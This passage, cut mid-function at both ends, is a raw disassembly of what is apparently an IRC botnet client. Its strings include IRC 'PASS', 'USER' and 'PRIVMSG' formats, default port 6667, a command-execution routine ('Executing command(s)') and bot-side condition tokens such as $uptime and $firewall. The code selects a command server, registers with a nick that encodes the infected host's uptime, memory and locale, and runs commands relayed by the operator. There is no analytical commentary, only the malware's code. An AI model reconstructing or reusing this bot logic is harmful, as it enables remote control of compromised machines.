sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DF10 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DF10 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DF10 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DF10 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DF10 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DF10 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EFA8 call sub_416B3A ; strcpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F128 call sub_416B3A ; strcpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B7h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B7h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41EA84 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E978 call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41EA78 call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41EA78 call sub_416B3A ; strcpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E7F8 call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DF10 push offset byte_41E7F8 call sub_416B3A ; strcpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DB20[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DB20[eax] push offset dword_41E978 call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push off_41DB24[eax] push offset dword_41EA78 call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp dword_41DB28[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push dword_41DB28[eax] push offset byte_41E7F8 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E978 call sub_4105AD pop ecx push offset dword_41EA78 call sub_4105AD pop ecx push offset byte_41E7F8 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, byte_41E7F8 test eax, eax jz short loc_40D099 push offset byte_41E7F8 call sub_4105FB pop ecx push offset byte_41E7F8 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E7F8 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, byte_41EFA8 test eax, eax jz short loc_40D0C3 push offset byte_41EFA8 lea eax, [ebp+var_184] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EFA8 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, byte_41F128 test eax, eax jz short loc_40D0F6 push offset byte_41F128 lea eax, [ebp+var_104] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F128 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, byte_41EF28 test eax, eax jz short loc_40D163 push offset byte_41EF28 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call dword_417030 cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E add esp, 34h movsx eax, byte_41DC10 test eax, eax jz short loc_40D31D push offset byte_41DC10 push offset dword_41DB90 call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41DB90 call sub_4105FB pop ecx movsx eax, byte_41DC90 test eax, eax jz short loc_40D31D push offset byte_41DC90 push offset dword_41EE28 call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41EE28 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DB80 lea eax, [ebp+var_80] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EF28 call sub_416B3A ; strcpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov 